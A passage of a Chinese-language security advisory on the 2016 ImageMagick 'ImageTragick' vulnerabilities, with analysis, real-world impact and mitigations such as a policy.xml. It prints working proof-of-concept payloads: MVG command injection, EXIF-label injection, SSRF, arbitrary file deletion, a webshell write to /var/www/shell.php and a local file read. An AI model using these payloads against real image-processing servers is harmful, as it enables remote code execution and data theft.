(height) %k input image number colors %l image label %m input image format %p page number %q input image depth %s scene number %w image columns (width) %x input image x resolution %y input image y resolution Set option delegate:bimodal=true to process bimodal delegates otherwise they are ignored. If stealth="True" the delegate is not listed in user requested "-list delegate" listings. These are typically special internal delegates. If spawn="True" ImageMagick will not way for the delegate to finish, nor will it read any output image. It will only wait for either the input file to be removed (See "ephemeral:" coder) indicating that the input file has been read, or a maximum time limit of 2 seconds. --> <delegatemap> <delegate decode="autotrace" stealth="True" command="&quot;convert&quot; &quot;%i&quot; &quot;pnm:%u&quot;\n&quot;autotrace&quot; -input-format pnm -output-format svg -output-file &quot;%o&quot; &quot;%u&quot;"/> <delegate decode="blender" command="&quot;blender&quot; -b &quot;%i&quot; -F PNG -o &quot;%o&quot;&quot;\n&quot;convert&quot; -concatenate &quot;%o*.png&quot; &quot;%o&quot;"/> <delegate decode="browse" stealth="True" spawn="True" command="&quot;xdg-open&quot; http://www.imagemagick.org/; rm &quot;%i&quot;"/> <delegate decode="cdr" command="&quot;uniconvertor&quot; &quot;%i&quot; &quot;%o.svg&quot;; mv &quot;%o.svg&quot; &quot;%o&quot;"/> <delegate decode="cgm" thread-support="False" command="&quot;ralcgm&quot; -d ps -oC &lt; &quot;%i&quot; &gt; &quot;%o&quot; 2&gt; &quot;%Z&quot;"/> <delegate decode="dvi" command="&quot;dvips&quot; -q -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="dng:decode" command="&quot;ufraw-batch&quot; --silent --create-id=also --out-type=png --out-depth=16 &quot;--output=%u.png&quot; &quot;%i&quot;"/> <delegate decode="dot" command='&quot;dot&quot; -Tsvg &quot;%i&quot; -o &quot;%o&quot;' /> <delegate decode="edit" stealth="True" command="&quot;/etc/alternatives/x-terminal-emulator&quot; -title &quot;Edit Image Comment&quot; -e vi &quot;%o&quot;"/> <delegate decode="eps" encode="pdf" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 &quot;-sDEVICE=pdfwrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/> <delegate decode="eps" encode="ps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=nodevice&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/> <delegate decode="fig" command="&quot;fig2dev&quot; -L ps &quot;%i&quot; &quot;%o&quot;"/> <delegate decode="plt" command="&quot;echo&quot; &quot;set size 1.25,0.62; set terminal postscript portrait color solid; set output \'%o\'; load \'%i\'&quot; &gt; &quot;%u&quot;;&quot;gnuplot&quot; &quot;%u&quot;"/> <delegate decode="hpg" command="&quot;hp2xx&quot; -q -m eps -f `basename &quot;%o&quot;` &quot;%i&quot;; mv -f `basename &quot;%o&quot;` &quot;%o&quot;"/> <delegate decode="hpgl" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then hp2xx -q -m eps -f `basename &quot;%o&quot;` &quot;%i&quot;; mv -f `basename &quot;%o&quot;` &quot;%o&quot;; else echo &quot;You need to install hp2xx to use HPGL files with ImageMagick.&quot;; exit 1; fi"/> <delegate decode="htm" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="html" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/> <delegate decode="ilbm" command="&quot;ilbmtoppm&quot; &quot;%i&quot; &gt; &quot;%o&quot;"/> <delegate decode="man" command="&quot;groff&quot; -man -Tps &quot;%i&quot; &gt; &quot;%o&quot;"/> <delegate decode="mpeg:decode" command="&quot;ffmpeg&quot; -v -1 -i &quot;%i&quot; -vframes %S -vcodec pam -an -f rawvideo -y &quot;%u.pam&quot; 2&gt; &quot;%Z&quot;"/> <delegate encode="mpeg:encode" stealth="True" command="&quot;ffmpeg&quot; -v -1 -mbd rd -trellis 2 -cmp 2 -subcmp 2 -g 300 -i &quot;%M%%d.jpg&quot; &quot;%u.%m&quot; 2&gt; &quot;%Z&quot;"/> <delegate decode="sid" command="&quot;mrsidgeodecode&quot; -if sid -i &quot;%i&quot; -of tif -o &quot;%o&quot; &gt; &quot;%u&quot;"/> <delegate decode="pcl:color" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=ppmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/> <delegate decode="pcl:cmyk" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pamcmyk32&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/> <delegate decode="pcl:mono" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/> <delegate decode="pdf" encode="eps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=epswrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/> <delegate decode="pdf" encode="ps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=nodevice&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/> <delegate decode="tiff" encode="launch" mode="encode" command="&quot;gimp&quot; &quot;%i&quot;"/> <delegate decode="pnm" encode="ilbm" mode="encode" command="&quot;ppmtoilbm&quot; -24if &quot;%i&quot; &gt; &quot;%o&quot;"/> <delegate decode="pov" command="&quot;povray&quot; &quot;+i%i&quot; -D0 &quot;+o%o&quot; +fn%q +w%w +h%h +a -q9 &quot;-kfi%s&quot; &quot;-kff%n&quot;;&quot;convert&quot; -concatenate &quot;%o*.png&quot; &quot;%o&quot;"/> <delegate decode="ps" encode="eps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=epswrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/> <delegate decode="ps" encode="pdf" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pdfwrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/> <delegate decode="ps" encode="print" mode="encode" command="lpr &quot;%i&quot;"/> <delegate decode="ps:alpha" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pngalpha&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/> <delegate decode="ps:cmyk" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pam&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/> <delegate decode="ps:color" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pnmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/> <delegate decode="ps:mono" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/> <delegate decode="rgba" encode="rle" mode="encode" command="&quot;rawtorle&quot; -o &quot;%o&quot; -v &quot;%i&quot;"/> <delegate decode="scan" command="&quot;scanimage&quot; -d &quot;%i&quot; &gt; &quot;%o&quot;"/> <delegate decode="scanx" command="&quot;scanimage&quot; &gt; &quot;%o&quot;"/> <delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/> <delegate decode="shtml" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="svg" command="&quot;rsvg-convert&quot; -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="txt" encode="ps" mode="bi" command="&quot;enscript&quot; -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="miff" encode="win" stealth="True" spawn="True" command="&quot;/usr/bin/display&quot; -immutable -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/> <delegate decode="wmf" command="&quot;wmf2eps&quot; -o &quot;%o&quot; &quot;%i&quot;"/> <delegate decode="xps:color" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=ppmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/> <delegate decode="xps:cmyk" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=bmpsep8&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/> <delegate decode="xps:mono" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/> </delegatemap> ``` 我们可以看到,这里它定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。 漏洞报告中给出的POC是利用了如下的这个委托: ``` <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/> ``` 它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。 所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在`https://`后面闭合双引号,写入自己要执行的命令: ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context ``` 这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞: ![](https://images.seebug.org/1462450748719) 其他几个CVE也比较有趣,比如CVE-2016-3718,他是利用mvg格式中可以包含url的特点,进行SSRF攻击,POC如下: ``` push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context ``` CVE-2016-3715是利用ImageMagick支持的ephemeral协议,来删除任意文件: ``` push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context ``` CVE-2016-3716是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。 特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作: ``` file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> ``` CVE-2016-3717可以造成本地文件读取漏洞: ``` push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/hosts' pop graphic-context ``` ### 0x02 深入分析 除了报告中给出的POC以外,各个安全研究人员也集思广益,发现这个洞的更多利用/影响方式。 首先,PHP扩展『ImageMagick』也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞: ``` <?php new Imagick('vul.gif'); ``` 因为没有返回值,我利用cloudeye捕捉到apache日志,从日志中读取命令执行的结果: ![](https://images.seebug.org/1462450757081) 另外,经过分析,研究人员发现除了.mvg格式的图片以外,普通png格式的图片也能触发命令执行漏洞。我们看到前面委托中对%l,也就是exif label的处理: ``` <delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/> ``` 它将%l拼接进入了/usr/bin/display命令中,所以我只需将正常的png图片,带上一个『恶意』的exif信息。在调用ImageMagick将其处理成.show文件的时候,即可触发命令注入漏洞: ``` exiftool -label="\"|/usr/bin/id; \"" test.png convert test.png o.show ``` ![](https://images.seebug.org/1462450761969) 但这个方法鸡肋之处在于,因为delegate.xml中配置的encode="show"(或"win"),所以只有输出为.show或.win格式的情况下才会调用这个委托,而普通的文件处理是不会触发这个命令的。 ### 0x03 影响分析 ImageMagick是一个使用非常广的组件,大量厂商都在处理图片的时候调用这个程序进行处理,而且很多开源应用也在核心代码中包含了ImageMagick选项。 Wordpress是著名的个人博客/CMS厂商,其核心源码中使用了PHP扩展ImageMagick。受到这个漏洞的影响,在攻击者拥有一定权限的情况下,可以在Wordpress中触发任意命令执行漏洞: [WooYun: Wordpress某核心功能命令执行漏洞(一定权限)](http://www.wooyun.org/bugs/wooyun-2016-0205047) 同样的,Discuz、Drupal等常用CMS中也调用了ImageMagick扩展或ImageMagick库,CVE-2016-3714也可能会影响到他们。 但根据我对Discuz的分析,其调用ImageMagick处理图片之前,会先使用php的getimagesize进行图片格式、大小的验证,所以本文中所涉及的POC无法在Disucz中直接使用,但不排除有其他方法绕过discuz对该问题的限制。 除了开源软件中的漏洞以外,国内外各大厂商或多或少都收到了该问题的影响,影响最大的应该属人人,人人某处上传位置调用了ImageMagick进行图片的处理,结果造成了命令执行,导致内网被白帽子攻破: [WooYun: 人人网某漏洞导致直接Getshell影响主干网络直入内网](http://www.wooyun.org/bugs/wooyun-2016-0205171) 另外,百度、优酷、腾讯、七牛等诸多厂商都收到该漏洞影响 还有个比较有意思的地方,因为新浪sae的php包含ImageMagick扩展,所以乌云上有白帽子利用这个漏洞,成功绕过了sae的沙盒 [WooYun: SAE 沙盒绕过(ImageMagick CVE20163714 应用实例)](http://www.wooyun.org/bugs/wooyun-2016-0205051) ### 0x04 漏洞修复 关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。 现在,我们可以通过如下两个方法来暂时规避漏洞: 处理图片前,先检查图片的 "magic bytes",也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。 使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作: ``` <policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap> ``` ### 相关链接 * https://imagetragick.com/ * http://www.openwall.com/lists/oss-security/2016/05/03/18 * http://weibo.com/p/1001603971443670055277 感谢 @redrain有节操 @Ricter @BigBan ### PoCs https://github.com/ImageTragick/PoCs
idSSV:91446
last seen2017-11-19
modified2016-05-04
published2016-05-04
reporterRoot
titleImageMagick 命令执行漏洞 (ImageTragick)

References